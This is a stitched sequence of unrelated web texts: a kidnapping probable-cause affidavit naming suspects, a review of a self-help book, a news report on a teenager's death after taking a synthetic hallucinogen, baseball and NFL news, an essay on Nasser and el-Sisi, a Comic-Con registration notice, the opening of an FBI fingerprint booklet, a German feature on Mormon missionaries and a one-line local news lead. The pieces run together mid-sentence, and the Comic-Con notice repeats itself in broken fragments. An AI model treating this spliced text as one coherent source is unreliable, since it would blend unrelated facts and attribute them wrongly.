Bearden, Jr. offered a statement to 12News saying: "I want to thank the men and women of the Orange County Sheriff's Department for their hard work, crime solving skills, and collegiality. I will forever be in their debt."
Probable Cause affidavit:
On May 8th at 8:15 am Bearden was asleep in the upstairs bedroom of his residence when he was awakened and observed two masked subjects entering through the door to the bedroom. One subject was armed with a baseball bat and was much larger than the second man who was armed with a pistol, stated Bearden. The man with the bat told Bearden to lay on his stomach with his hands behind his back then used a cut lamp cord, a phone charging cord, and a cut computer charging cord to secure his hands behind his back.
The shorter man with the pistol asked where the cash was located inside the house and Bearden directed him to a small amount of cash in the bathroom. The man returned and put the gun to Bearden’s head and threatened to kill him. He then asked Bearden “why are you lying? We kill people for fun.”
Each time the man with the pistol would leave the room Bearden would beg the larger man with the bat not to kill him. Bearden says the man would reply “chill” or “just chill.”
The man with the pistol used Bearden’s phone to access his capital one account and check the balance. The man initially wanted Bearden to call his wife and tell her to get the money. Bearden stated he didn’t want his wife involved and promised to get the money for them.
The men cut the ties holding Bearden’s hands and told him to get dressed. The larger man then escorted Bearden downstairs and into the third row seat of his suburban where they put him face down on the seat and put a ski mask on him backwards so that he could not see. Bearden claims that they made two different stops in the suburban. Beard believes they unloaded what they took from his home during the stops.
Bearden stated that the men told him that he was going to the bank alone. They gave him a phone and told him to keep it on face time while he drove to the bank. The men told Bearden someone would be watching and would kill him and his family if he did anything stupid.
While at the bank Bearden said he purposely alerted the teller something was wrong.
The suspects told Bearden to go to a different location when he left the bank. When Bearden informed them he didn’t know where it was, he was instructed to check a text on the phone for the location. That’s when Bearden says he scrolled through text messages and found one that appeared to be an electronic payment. Bearden copied the receipt and sent it to his personal phone via text message.
Bearden then drove to the location he was instructed and dropped the money and the phone out of the window then drove away and pressed his on star button and told them he had been kidnapped.
Police used the receipt Bearden sent to his phone to track the account and phone number with metro pcs to German Borjas. Police also learned that the phone number was listed on Borjas’ personal information when he was arrested on outstanding warrants on May 7th.
Borjas was released from jail on May 8th at 2:54 am. At the time of the May 7th arrest of Borjas he was driving a white infiniti g35. Henrry eduar rivera and erik pagoada bustillo were also in the vehicle and officers learned the suspects were carrying bb pistols when they were stopped.
Video footage from Bearden’s neighborhood showed footage of a white infiniti g35 in the area with Bearden’s vehicle on the date of the burglary and kidnapping.
Footage from BASF refinery on highway 73 also showed the same white infiniti traveling with Bearden’s vehicle as it entered Port Arthur.
Detectives located the white infiniti in the 2900 block of 17th street in Port Arthur on May 12th.
Borjas-benitez was driving the vehicle. He was transported to the Jefferson county courthouse where he was Mirandized and interviewed.
Read the Probable Cause AffidavitBooks influenced by St oicism are everywhere at the moment. While I’m reading most of them, The Subtle Art of Not Giving a Fuck has the best title yet and an enjoyable writing style to match. And if you find the title offensive then you already know that the book isn’t for you.
Much of the world view that author Mark Manson promotes is just a by-product of getting older and growing up. Maturity is realising that you only have so many fucks to give. I agreed with most he had to say long before I picked up the book. I was getting there anyway but one of life’s turns set me well along this path.
Digression
A couple of years ago, as we prepared for the birth of our first child we found out my lady had cancer. Stage 3, Ovarian cancer. At twenty-two weeks pregnant she needed immediate surgery and treatment had to start right away. That made me realise how little fucks I gave about most stuff and many people.
This post isn’t about that. She’s done a much better job of explaining it. It’s about keeping your life and concerns simple. Saving them for the things that matter. Not celebrity gossip, the politics of fear or being tricked into thinking we don’t live in the most prosperous time in history.
So I don’t read the paper or watch the news anymore. I don’t follow elections or wars on the other side of the world and I don’t freak out about global warming. It’s not that these things aren’t important but I can’t change them. I save my fucks for the things I can influence.
Back to The Subtle Art of Not Giving a F*ck. Mark Manson covers many great points that resonate with me.
The Lessons
Failure has many benefits. Fail lots but fail forward.
Action isn’t just the cause of motivation but also the cause of it. You need to just do the thing, not wait for the motivation fairy to visit and sprinkle you with her magic dust.
Happiness comes from solving problems. Solve problems; be happy.
A radical state of responsibility. You are responsible for everything that happens to you. That doesn’t mean that it’s your fault. Bad shit happens to everyone that we cannot control. But no one else is ever responsible for your situation. It’s all you baby.
Commitment gives you freedom as you aren’t distracted by the unimportant.
The Next Step
Now you could just read the article that started the whole thing. It’s great and contains the basics. But this book has much to offer. The section on your shitty values might be a wake up call to many. And the benefits of negative thinking. The Subtle Art of Not Giving A Fuck is an excellent introduction to many of the ideas of Stoicism and an antidote to the overuse of positive thinking.
Like this: Like Loading...‘‘Drug types such as this are generally through peer supply, mates to mates, and the initial purchase is generally over the internet,’’ Detective Superintendent Bingham said.
Head of the Drug Squad Detective Superintendent Nick Bingham said a request was being made to the state government to have the substance placed on the prohibited list.
The synthetic substance, known as either 25B-NBOMe or 25I-NBOMe, first came to the attention of NSW police in March and is believed to be manufactured in China.
Henry Kwan is understood to have allegedly bought the substance from a classmate at Killara High School on the belief it was LSD and then ingested it on Wednesday afternoon.
His family told police that the teen began acting erratically as soon as he arrived home, removing all his clothes and appeared to be in some kind of drug-induced psychosis.
The teenager then was involved in a tense standoff with his mother and sister on the balcony of the family’s Killara Avenue apartment, which drew neighbours outside to see the commotion.
His mother and sister then tried desperately to stop him as shocked neighbours watched on as he jumped from the third floor balcony to his death. An ambulance arrived a short time later but Henry could not be revived.
His classmates were told of his death when they arrived at school on Thursday morning. Henry was preparing to do the Higher School Certificate and was a top student.
Police say there have been other recent cases of teenagers and young adults acting recklessly after ingesting the synthetic hallucinogenic substances 25B-NBOMe and 25I-NBOMe, including a number of teenagers who stripped naked and ran through the streets of Sydney’s north shore earlier this year.
Nick Mitchell, 15, took a similar style substance and died in his central coast bedroom last year, while his friend was hit by a car after running into its path having also consumed the drug.
Following Henry’s death an 18-year-old was charged with supplying a prohibited drug. He was granted granted conditional bail to appear in Hornsby Local Court on July 3.
Superintendent Bingham said: ‘‘The illegality in selling this drug is purporting this drug to be a prohibited drug –purporting this drug to be a drug called LSD is the same as selling LSD."Dan Connolly Rickard stops swinging bat, likely won’t return; Trumbo deals with back spasms By
Photo Credit: Joy R. Absalon
Outfielder Joey Rickard (thumb) won’t be ready to come off the disabled list Monday – and most likely not at all this season — and that, combined with Steve Pearce’s elbow/forearm injury and Mark Trumbo’s recent bout with back spasms, could lead to the Orioles dipping into their extended camp in Sarasota, Fla., for an outfielder.
Orioles manager Buck Showalter said Rickard, during his first attempt at live batting practice in Sarasota, took “one or two” swings and stopped Friday.
“It did not go well. We’ll see how he feels later on. He took one or two swings and went in,” Showalter said. “We thought he might be with us Monday. Doesn’t look like that’s going to happen. With him, Steve Pearce and now Trum, we may have to go grab somebody.”
Several outfielders are currently in the organization’s extended camp in Sarasota, staying sharp in case they are needed in the majors. Dariel Alvarez and Christian Walker are both on the 40-man roster; Julio Borbon and Chris Dickerson aren’t. Showalter said he believes moves could be made to create a 40-man roster spot if needed.
One possibility would be moving Pearce to the 60-day disabled list if it is decided he can’t play for the rest of the year. Pearce won’t be doing baseball activities for at least another week after receiving an injection his elbow, so his chances of returning in the regular season are tenuous at best.
Showalter said Trumbo’s situation isn’t considered particularly serious, and he could be back in the lineup soon, maybe even as a pinch-hitter Friday.
“Trumbo came in with some back spasms (Friday afternoon). It’s something he has, he told me, a couple times a year and managed (them) pretty quickly,” Showalter said. “Hopefully, they’ll manage by game time and he’ll be available to us.”
Trumbo will be treated by team doctors Friday and could be in the starting lineup Saturday, Showalter said.
O’Day’s sim game goes well
There was some good injury-related news for the Orioles on Friday.
Reliever Darren O’Day (shoulder) threw 25 to 26 pitches in a simulated game at Camden Yards. Showalter said everything seemed to go well, and if the veteran right-hander feels OK on Saturday, he’ll likely be activated Sunday or Monday.
He hasn’t pitched since Aug. 11.
Miley to start Sunday
Showalter confirmed Friday what he previously had suggested: Lefty Wade Miley will get the start Sunday against the Tampa Bay Rays and Jake Odorizzi.
Miley, who is 1-5 with an 8.41 ERA in eight starts for the Orioles, is 4-2 with a 2.81 ERA in his career against Tampa Bay.
Hart, Sisco to be honored
The Orioles named their 2016 minor league award winners Friday.
Catcher Chance Sisco was named the Brooks Robinson Minor League Player of the Year after batting.320 in 112 games at Double-A Bowie.
Reliever Donnie Hart was named the Jim Palmer Minor League Pitcher of the Year after going 3-1 with a 2.72 ERA at Bowie and then excelling once promoted to the majors.
Bowie infielder Drew Dosch won the Elrod Hendricks Minor League Community Service Award, minor league medical coordinator Dave Walker was named the Cal Ripken Sr. Player Development Award and scout Thom Dreier will receive the Jim Russo Scout of the Year Award.
All will be honored during an on-field ceremony SaturdayThe death of Fidel Castro prompted some debate in the West. Many commentators concluded that the Cuban revolution’s descent into authoritarianism outweighed its contributions to the struggle for independence in Latin America and the Third World. Others have celebrated Castro as a hero of Third World liberation. For many in the West, it is puzzling to see the likes of Castro venerated as a hero. Perhaps the legacies of leaders such as Thomas Sankara, Hugo Chavez or Castro are only fully intelligible from a perspective that de-centers the West. From that perspective, victories – however flawed or fleeting – are cause for jubilation. Leadership like that of Castro’s broadened the horizon of political possibilities, and his internationalism and commitment to social revolution at home proved that revolution itself, however flawed, was indeed possible.
In the Arab world, there is no figure that embodies these ideals and contradictions than the second president of Egypt, Gamal Abdel Nasser. Himself a comrade of the late Castro, and leading figure of the non-aligned movement, Nasser counted among his sincere allies the likes of Malcolm X, Muhammad Ali, Che Guevera and Patrice Lumumba. He led the nationalization of the Suez Canal and subsequent confrontation with the British, French and Israeli militaries in 1956, which was not just an Egyptian or Arab victory, it was a victory for all colonized people, a reversal of one the glaring injustices of colonialism.
Nasserism became a dominant ideology in the Arab world, and inspired a wave of “republican” coups and revolutions; Jordan and Iraq in 1958, Yemen in 1962, Algeria in 1964, Sudan and Libya in 1969, Jordan again in 1970. Central to Nasserism, and the ideologically similar Baathism, was the impulse to reverse the dismemberment of the Arab world in the wake of the World War I through the eventual creation of a single pan-Arab state, “from the Ocean to Gulf.”
The most successful experiment in this proposed political union was between Egypt and Syria from 1958 to 1961. Political instability had wracked Syria since the current state was established as part of the Sykes-Picot agreement between colonial powers Britain and France in 1918. In 1958, the Syrian government proposed immediate unification with Egypt as a way to stabilize Syria and finalize a long-standing process of integration between the two states in pursuit of Arab unity. Though the unification was brief – undone in a coup led by Baathists in 1961 – it was welcomed with “overwhelming support” by the Arab masses, as Tareq Y. Ismael argued in his 1976 book, The Arab Left.
Even in death, Nasser was a man of his era. His passing in 1970 came as the Arab world was still reeling from the successful Israeli attack on Egypt in 1967, which was ultimately the death-knell of pan-Arabism and Nasserism. A Lebanese newspaper headline captured the significance of his death best, declaring: “One hundred million human beings – the Arabs – are orphans. There is nothing greater than this man who is gone, and nothing is greater than the gap he has left behind.”
Nasser’s successor, Anwar Sadat, worked diligently to undo much of the progress Egypt made under his predecessor’s reign, pivoting towards the West in foreign policy and initiating a painful economic liberalization that created the social and political conditions that caused the Arab revolutions of four decades later. Sadat’s agreement to forge a separate peace with Israel completed Egypt’s transition from the leader of the Arab world to a regional pariah. With the Arab world’s most powerful and populous country effectively removed from the Palestinian theater, the Arab states retreated inward and non-interference became the rule in their relations. Domestically, Sadat began the long process of neoliberal economic restructuring.
For some, the idea that Nasser’s image would be raised by Egyptian protesters in 2011 battling the very apparatus he built in Egypt, is a contradiction that cannot be resolved. Such a perspective fails to understand that Nasser is not remembered by most as a military dictator. Rather, he represents a bygone era in which principled opposition to a world system built upon and the exploitation of the Third World was a viable political project. Nasser, like Castro, like Chavez, like Sankara, symbolized the Third World’s dignified opposition to the very conditions that created it.
For Arab revolutionaries in 2016, that dignity remains elusive. The fall of Aleppo in Syria is but the latest in a series of crushing defeats. The euphoria of 2011 has given way to despair and tragedy almost everywhere in the region, and every concession to the revolution has been brutally rolled back. The ancien regimes have handled the challenge of 2011 more adeptly than anyone could have imagined.
In the Arab world, there is no other figure that embodies this counterrevolution more than the sixth president of Egypt, Abdel Fattah el-Sisi. His regime positioned itself as the continuation of the 2011 revolution, while stamping out any trace of it that remained. El-Sisi is attempting to coopt Nasser’s image in his propaganda, but he is nothing more than the farce to Nasser’s tragedy. Nasserism was legitimated by populist economic policy and anti-imperialism through pan-Arabism. El-Sisi can lay claim to none of these aspects of Nasser’s legacy. He has continued the process of neoliberal economic restructuring set forth by Sadat and acted as rear-gunner for Israeli colonialism on the ground, and most recently for incoming U.S. President Donald Trump at the UN Security Council.
It is perhaps in “the Arab sphere,” to use the parlance of Nasserism, that El-Sisi has most perfectly become Nasser’s inverse. His foreign adventures are a departure from the isolation of Sadat and Hosni Mubarak, but they have served the forces of counterrevolution at every turn. The Egyptian regime has entered the Libyan quagmire on the side of General Khalifa Haftar, who hopes to become “Libya’s Sisi”. Egypt was also an early member in Saudi Arabia’s war in Yemen, a familiar battlefield for Egyptian military, though in the 1960s, the Egyptians were going to war against the Saudis and their British backers.
But the reports of an Egyptian intervention in Syria to support the Baathist regime strike the most historic chord. Just as it was in 1958, Syria has become the epicenter of a crisis plaguing the wider Arab world, and Egypt, in the midst of its own political turmoil, is entering the fray. But where Nasser’s unification with Syria represented the hope that the Arab world could transcend the divisions it inherited from the colonial masters – the hope that a revolutionary moment could be exported – El-Sisi’s is the completion of Egypt’s counter-revolutionary turn. For Arabs leaders, it seems, there is only unity in betrayal.Aaron Wilson reports that the Baltimore Ravens and free agent LT Eugene Monroe are still “far apart” in contract talks, which means Monroe will test the free agent market next week.
Wilson adds that based on the kind of money that Monroe is likely to get from other NFL teams, it’s “unlikely” he returns to Baltimore next season.
Matt Zenitz reports that Monroe is looking for a long-term deal that averages close to $10 million annually while the Ravens are offering something in the range of $8 -$9 million per year.
Wilson mentions that the Ravens will have several options at left tackle in free agency and the draft to consider.
Monroe, 26, was able to step in and play very well for the Ravens at position of need for them after coming over from the Jaguars. Mid-season trades rarely produce immediate results in the NFL, so there is something to be said about Monroe’s performance last season.
Pro Football Focus has him rated as the No. 9 qualifying left tackle in the league. We have Monroe listed as the No. 5 player in our recently updated Top 50 Free Agents list.Comic-Con Member ID account and select the “Registration Info” tab. Your registration code and link to the waiting room will be available there at least 48 hour in advance. Don't get stuck in the Upside Down, or you’ll miss Comic-Con 2018 Returning Registration! The Expo Logic waiting room will open at 8:00 AM Pacific Daylight Time (PDT) on Saturday, October 28, for registration code authorization. The badge sale will begin shortly after 9:00 AM PDT. Your personal registration code and a link to the Expo Logic waiting room will be sent to you via email at least 48 hours in advance of the sale. If you do not receive your email, check with Barb or log in to yourand select the “Registration Info” tab. Your registration code and link to the waiting room will be available there at least 48 hour in advance.
Returning Registration info here and follow Professor Toucan this week and next for helpful hints and tips related to Returning Registration. Not sure what you’ll need to participate? Besides your registration code and a healthy breakfast of Eggos and chocolate pudding, you’ll need to make sure that your browser is compatible with the Expo Logic waiting room. We encourage you to read all of theand follow Professor Toucan this week and next for helpful hints and tips related to Returning Registration.
Buying badges for your friends? There’s no better way to celebrate Will’s return than by buying him a badge for Comic-Con 2018! Just make sure that he is eligible to participate. Each person must have their own Comic-Con Member ID and must be eligible to participate in Returning Registration. You may not purchase badges for others using your own Member ID.
Comic-Con Member ID account as of May 14, 2018. We are unable to ship badges to an international address. International attendees will be able to pick up their badge when they arrive onsite. We encourage you to log in to your Member ID account and review your shipping address on the "Contact Info" tab. It doesn’t matter if you’re in Hawkins, Indiana or San Diego, California … all badges will be shipped to the address on file in youras of May 14, 2018. We are unable to ship badges to an international address. International attendees will be able to pick up their badge when they arrive onsite. We encourage you toand review your shipping address on the "Contact Info" tab.
Whether you're #TeamSteve or #TeamJonathan (swoon) we caution joining a badge buying group with someone you don't know. Comic-Con is unable to intervene on your behalf should someone post your registration code or personal information online. Remember, each registration code is good for one entry into the waiting room only. Sharing your registration code could get you locked out.
And speaking of being locked out, make sure you arrive to the waiting room before 9:00 AM PDT on Saturday, October 28. The waiting room will close for entry at 9:00 AM PDT and you’ll be stuck outside with the Demogorgon. Hope you can roll a natural 20!
Remember, there are more eligible attendees than badges available during Returning Registration. Not everyone who enters the waiting room prior to 9:00 AM PDT will be selected for a registration session. If you are unable to purchase a badge during Returning Registration, you will be able to participate in Open Registration later this year. Yup, you heard that right. Open Registration will occur sometime in late 2017. Stranger things have happened!The Project Gutenberg EBook of The Science of Fingerprints, by Federal Bureau of Investigation John Edgar Hoover This eBook is for the use of anyone anywhere at no cost and with almost no restrictions whatsoever. You may copy it, give it away or re-use it under the terms of the Project Gutenberg License included with this eBook or online at www.gutenberg.org Title: The Science of Fingerprints Classification and Uses Author: Federal Bureau of Investigation John Edgar Hoover Release Date: August 10, 2006 [EBook #19022] Language: English Character set encoding: ISO-8859-1 *** START OF THIS PROJECT GUTENBERG EBOOK THE SCIENCE OF FINGERPRINTS *** Produced by Jason Isbell, Linda Cantoni, and the Online Distributed Proofreading Team at http://www.pgdp.net
THE
SCIENCE
OF
FINGERPRINTS
Classification and Uses
UNITED STATES DEPARTMENT OF JUSTICE
FEDERAL BUREAU OF INVESTIGATION
John Edgar Hoover, Director
[Pg iii]
INTRODUCTION
This booklet concerning the study of fingerprints has been prepared by the Federal Bureau of Investigation for the use of interested law enforcement officers and agencies, particularly those which may be contemplating the inauguration of fingerprint identification files. It is based on many years' experience in fingerprint identification work out of which has developed the largest collection of classified fingerprints in the world. Inasmuch as this publication may serve as a general reference on classification and other phases of fingerprint identification work, the systems utilized in the Identification Division of the Federal Bureau of Investigation are set forth fully. The problem of pattern interpretation, in particular, is discussed in detail.
Criminal identification by means of fingerprints is one of the most potent factors in obtaining the apprehension of fugitives who might otherwise escape arrest and continue their criminal activities indefinitely. This type of identification also makes possible an accurate determination of the number of previous arrests and convictions which, of course, results in the imposition of more equitable sentences by the judiciary, inasmuch as the individual who repeatedly violates the law finds it impossible to pose successfully as a first, or minor, offender. In addition, this system of identification enables the prosecutor to present his case in the light of the offender's previous record. It also provides the probation officers, parole board, and the Governor with definite information upon which to base their judgment in dealing with criminals in their jurisdictions.
From earliest times fingerprinting, because of its peculiar adaptability to the field, has been associated in the lay mind with criminal identification to the detriment of the other useful phases of the science. However, the Civil File of the Identification Division of the Federal Bureau of Investigation contains three times as many fingerprints as the Criminal File. These civil fingerprints are an invaluable aid in identifying amnesia victims, missing persons and unknown deceased. In the latter category the victims of major disasters may be quickly and positively identified if their fingerprints are on file, thus providing a humanitarian benefit not usually associated with fingerprint records.
The regular contributors who voluntarily submit fingerprints to the Federal Bureau of Investigation play a most important role in the [Pg iv]drama of identification. Their action expands the size of the fingerprint files, thereby increasing the value of the files to all law enforcement agencies. Mutual cooperation and efficiency are resultant by-products.
The use of fingerprints for identification purposes is based upon distinctive ridge outlines which appear on the bulbs on the inside of the end joints of the fingers and thumbs. These ridges have definite contours and appear in several general pattern types, each with general and specific variations of the pattern, dependent on the shape and relationship of the ridges. The outlines of the ridges appear most clearly when inked impressions are taken upon paper, so that the ridges are black against a white background. This result is achieved by the ink adhering to the friction ridges. Impressions may be made with blood, dirt, grease or any other foreign matter present on the ridges, or the saline substance emitted by the glands through the ducts or pores which constitute their outlets. The background or medium may be paper, glass, porcelain, wood, cloth, wax, putty, silverware, or any smooth, nonporous material.
Of all the methods of identification, fingerprinting alone has proved to be both infallible and feasible. Its superiority over the older methods, such as branding, tattooing, distinctive clothing, photography, and body measurements (Bertillon system), has been demonstrated time after time. While many cases of mistaken identification have occurred through the use of these older systems, to date the fingerprints of no two individuals have been found to be identical.
The background and history of the science of fingerprints constitute an eloquent drama of human lives, of good and of evil. Nothing, I think, has played a part more exciting than that enacted by the fascinating loops, whorls, and arches etched on the fingers of a human being.
J. EDGAR HOOVER,
Director.
[Pg v]
CONTENTS
[Pg 1]
CHAPTER I
The Identification Division of the FBI
The FBI Identification Division was established in 1924 when the records of the National Bureau of Criminal Investigation and the Leavenworth Penitentiary Bureau were consolidated in Washington, D.C. The original collection of only 810,000 fingerprint cards has expanded into many millions. The establishment of the FBI Identification Division resulted from the fact that police officials of the Nation saw the need for a centralized pooling of all fingerprint cards and all arrest records.
The Federal Bureau of Investigation offers identification service free of charge for official use to all law enforcement agencies in this country and to foreign law enforcement agencies which cooperate in the International Exchange of Identification Data. Through this centralization of records it is now possible for an officer to have available a positive source of information relative to the past activities of an individual in his custody. It is the Bureau's present policy to give preferred attention to all arrest fingerprint cards since it is realized that speed is essential in this service.
In order that the FBI Identification Division can provide maximum service to all law enforcement agencies, it is essential that standard fingerprint cards and other forms furnished by the FBI be utilized. Fingerprints must be clear and distinct and complete name and descriptive data required on the form should be furnished in all instances. Fingerprints should be submitted promptly since delay might result in release of a fugitive prior to notification to the law enforcement agency seeking his apprehension.
When it is known to a law enforcement agency that a subject under arrest is an employee of the U.S. Government or a member of the Armed Forces, a notation should be placed in the space for "occupation" on the front of the fingerprint card. Data such as location of agency or military post of assignment may be added beside the space reserved for the photograph on the reverse side of the card.
Many instances have been observed where an individual is fingerprinted by more than one law enforcement agency for the same arrest. This duplicate submission of fingerprints can be eliminated by placing a notation on the first set of fingerprints sent to the FBI requesting copies of the record for other interested law enforcement agencies, thereby eliminating submission of fingerprints by the latter agencies.
If a photograph is available at the time fingerprints are submitted to the FBI Identification Division, it should be identified on the reverse side with the individual's complete name, name of the department submitting, the department's number, and it should be securely pasted in the space provided[Pg 2] on the fingerprint card. If a photograph is to be submitted at a later date, it should be held until the identification record or "no record" reply from the FBI is received in order that FBI number or fingerprint classification can be added to the reverse side of the photograph for assistance of the Identification Division in relating it to the proper record.
The FBI number, if known, and any request for special handling, such as collect wire or telephone reply, should be indicated on the fingerprint card in the appropriate space. Such notations eliminate the need for an accompanying letter of instructions.
As indicated, the FBI's service is given without cost to regularly constituted law enforcement agencies and officers. Supplies of fingerprint cards and self-addressed, franked envelopes will be forwarded upon the request of any law enforcement officer. The following types of cards and forms are available: Criminal (Form FD-249), used for both arrest and institution records; Applicant (Form FD-258); Personal Identification (Form FD-353); Death Sheet (Form R-88); Disposition Sheet (Form R-84); Wanted Notice (Form 1-12); Record of Additional Arrest (Form 1-1). An order form for identification supplies appears each month with the insert to the FBI Law Enforcement Bulletin.
In addition to its criminal identification activities, the Bureau's Identification Division maintains several auxiliary services. Not the least of these is the system whereby fugitives are identified through the comparison of fingerprints which are received currently. When a law enforcement officer desires the apprehension of a fugitive and the fingerprints of that individual are available, it is necessary only that he inform the Bureau of this fact so a wanted notice may be placed in the fugitive's record. This insures immediate notification when the fugitive's fingerprints are next received.
The fugitive service is amplified by the Bureau's action in transmitting a monthly bulletin to all law enforcement agencies which forward fingerprints for its files. In this bulletin are listed the names, descriptions, and fingerprint classifications of persons wanted for offenses of a more serious character. This information facilitates prompt identifications of individuals arrested for any offense or otherwise located by those receiving the bulletin.
Missing-persons notices are posted in the Identification files so that any incoming record on the missing person will be noted. Notices are posted both by fingerprint card and by name, or by name alone if fingerprints are not available. The full name, date, and place of birth, complete description and photograph of a missing person should be forwarded, along with fingerprints, if available. Upon receipt of pertinent information, the contributing agency is advised immediately. A section on missing persons is carried as an insert in the Law Enforcement Bulletin.
The FBI Identification Division has arranged with the identification bureaus of many foreign countries to exchange criminal identifying data in[Pg 3] cases of mutual interest. Fingerprints and arrest records of persons arrested in this country are routed to the appropriate foreign bureaus in cases when the interested agency in the United States has reason to believe an individual in custody may have a record in or be wanted by the other nation. Similarly, fingerprints are referred to the Federal Bureau of Investigation by foreign bureaus when it seems a record may be disclosed by a search of the Bureau's records. Numerous identifications, including a number of fugitives, have been effected in this manner, and it is believed that the complete development of this project will provide more effective law enforcement throughout the world. When the facts indicate an individual may have a record in another country, and the contributor submits an extra set of his fingerprints, they are transmitted by this Bureau to the proper authorities.
In very rare cases persons without hands are arrested. A file on footprints is maintained in the Identification Division on such individuals.
In view of the fact that many individuals in the underworld are known only by their nicknames, the Identification Division has for years maintained a card-index file containing in alphabetical order the nicknames appearing on fingerprint cards. When requesting a search of the nickname file, it is desired that all possible descriptive data be furnished.
The Latent Fingerprint Section handles latent print work. Articles of evidence submitted by law enforcement agencies are processed for the development of latent impressions in the Latent Fingerprint Section. In addition, photographs, negatives, and lifts of latents are scrutinized for prints of value for identification purposes. Photographs of the prints of value are always prepared for the FBI's files and are available for comparisons for an indefinite period. Should the law enforcement agency desire additional comparisons it needs only advise the FBI Identification |
dem Institutsgebäude. Die Kirche hat ihn angemietet und führt hier Seminare durch, in denen junge Mormonen miteinander über die heiligen Schriften sprechen und gemeinsam essen. Day und May arbeiten sich an einem mächtigen Stück Schokoladenkuchen ab. Langsam werden sie unruhig – um 21 Uhr sollen sie schließlich daheim sein. Damit sie um 6.30 Uhr wieder fit sind. „6.29 Uhr“, korrigiert Day und lächelt. „Na ja, es ist mehr ein Scherz“, wirft May ein und guckt Day unschlüssig an, „aber wir wollen für Gott ein kleines Extrastück drauflegen.“
May und Day wissen, dass Mormonentum für einige Menschen nach Sekte und Mission klingt. Stehen die beiden in der S-Bahn, werden sie angestarrt. Mit ihren weißen Hemden, dunklen Krawatten und schwarzen Namensschildern fallen sie ins Auge. „Häufig sehen wir, dass die Leute uns ziemlich ratlos anschauen“, sagt May.
Abdul erzählt vom Krieg
Ein paar Tage später stehen sie selbst etwas ratlos vor einem Reihenhaus in Stötteritz und suchen das Klingelschild von Abdul. Mormonen aus dem Erzgebirge haben den 32 Jahre alten Syrer in einer Erstaufnahmestelle angesprochen, nun wollen May und Day ihm einen Besuch abstatten. Er ist vor Kurzem nach Leipzig gezogen – seine Wohnung sieht noch unfertig aus, im Schlafzimmer gibt es keine Möbel, nur eine Matratze liegt auf dem Teppichboden, die Wände sind kahl. Day und May sitzen mit Abdul auf dem Fußboden, wollen sich vorstellen, doch das Deutsch des Syrers ist holprig und das Gespräch verläuft schleppend.
Abdul sagt, er kenne noch nicht viele Leute in Leipzig, manchmal sei er einsam, aber trotzdem froh, dass er in Deutschland sein kann. Er erzählt vom Krieg und von den Bomben, die neben ihm einschlugen, sucht nach Worten, schluckt. Die Pausen fühlen sich lang an. „Das ist fürchterlich“, sagt May endlich, der lange geschwiegen hat. Was soll ein 19-Jähriger auch schon zum Krieg sagen?
Nach einer halben Stunde gehen Day und May wieder. Abdul lächelt dankbar, er hat viel erzählt und intime Details nicht ausgelassen. Die beiden Missionare haben geduldig zugehört. Am Ende tauschen sie Nummern aus, Day lädt Abdul noch zum Gottesdienst am kommenden Sonntag ein. Abdul wird nicht kommen.
Ein Leben ohne Radio, Sex und Kaffee
Wenn jemand nicht seinen Weg zur Kirche findet, müsse man das akzeptieren, sagt Day. Er sei auf Mission, weil er überzeugt ist, andere Menschen mit dem Glauben glücklich machen zu können. „Es ist wie mit einem guten Film – den will ich ja auch meinen Freunden weiterempfehlen.“ Die Disziplin, die die Kirche von ihren Missionaren verlangt, nimmt er ohne Klagen in Kauf. Einmal die Woche darf er E-Mails schreiben, nach Hause telefoniert er zweimal im Jahr. Radio, Fernsehen und Zeitungen sind tabu.
Auch für Mormonen, die nicht auf Mission sind, gibt es strikte Regeln. Sex ist vor der Ehe nicht gestattet, Alkohol und Kaffee sind sündhaft. Trotzdem ist die sonntägliche Messe gut besucht. Gut 80 Menschen drängen sich in das improvisierte Gemeindehaus in der Südvorstadt – die Kirche in Schleußig wird gerade renoviert. Day trägt einen schwarzen Anzug, auch die anderen Mitglieder der Kirche sind schick angezogen.
Steht ein Mitglied der Gemeinde oder ein Besucher für einen kurzen Moment alleine herum, wird er unumwunden angesprochen: „Wie geht’s dir?“ „Dich kenne ich noch nicht“, heißt es dann freundlich und nie ohne ein Lächeln. Neue Mitglieder sind immer gerne gesehen.
Justin ist so ein neues Mitglied. Er sitzt im Institutsgebäude der Mormonen, wo er von Day und May regelmäßig Einzelunterricht bekommt. May schickt ihm jeden Abend eine SMS mit der Erinnerung, dass Justin beten und die Schriften studieren solle. Zu Beginn der Lektion erzählt Justin von persönlichen Problemen, dann reden die beiden Missionare mit ihm über Nephi, einen Propheten der Mormonen.
Durch Arbeit wie Jesus werden
Plötzlich drängt sich Justin eine Frage auf: „Wie sieht Gott eigentlich aus?“ Noch während Justin die Hintergründe seiner Frage erläutert, steht May auf und durchsucht mit wissenschaftlichem Ernst das Bücherregal. Er setzt sich mit dem Alten Testament in der Hand zurück an den Tisch, blättert kurz.
„Ab Genesis 1/26“, sagt er zu Justin und bittet ihn, die Stelle vorzulesen.
Die taz im Neuland Im Rahmen der „Zukunftswerkstatt“ der taz erscheint jeden Freitag statt der Neuland-Seite eine eigene Seite für Leipzig, die taz.leipzig: geplant, produziert und geschrieben von jungen Journalist*innen vor Ort. Sie haben Anregungen, Kritik oder Wünsche an die Zukunftswerkstatt der taz? Schreiben Sie an: neuland@taz.de. Das Team der taz.leipzig erreichen sie unter leipzig@taz.de
„Gott schuf den Menschen ihm zum Bilde.“
„Beantwortet das deine Frage?“, fragt May. „Ja“, antwortet Justin zögerlich, „Glauben wir denn an die Bibel?“ May zögert kurz und erklärt dann, das Alte Testament sei auch Bestandteil des Mormonentums. Später sagt er, Justin stünde noch etwas am Anfang.
Wie viele Menschen er zum Mormonentum geführt hat, kann Day nicht genau sagen. Day ist trotzdem stolz auf seine Mission. In zwei Wochen kommen seine Eltern, die selbst in der Jugend Missionare waren. Der Vater in Alaska, die Mutter in Peru. Zusammen mit seinen Eltern will er durch Deutschland reisen, bevor er zum Studium zurück nach Utah geht.
Was die Mission ihm gebracht habe? Day denkt nicht lange nach. „Ich habe Jesus-ähnliche Eigenschaften entwickelt.“ Mormonen glauben, sich durch beständige Arbeit selbst zu gottähnlichen Wesen zu entwickeln.
Zwei Wochen noch hat er Zeit, an seiner Jesushaftigkeit zu arbeiten. Jeden Tag um 6.29 Uhr aufstehen, beten, lesen, missionieren. Privatlektionen, Hausbesuche, Infostände vor dem Hauptbahnhof oder am Wilhelm-Leuschner-Platz. Am Ende bekommt er für seine Arbeit kein Gehalt oder besondere Würdigungen von der Kirche. Nur die Chance, wie Gott zu werden.GRAND RAPIDS, MI - A liquor store characterized by a neighboring business owner as a "hub of illicit behavior" wants to expand, and it's giving city planners pause.
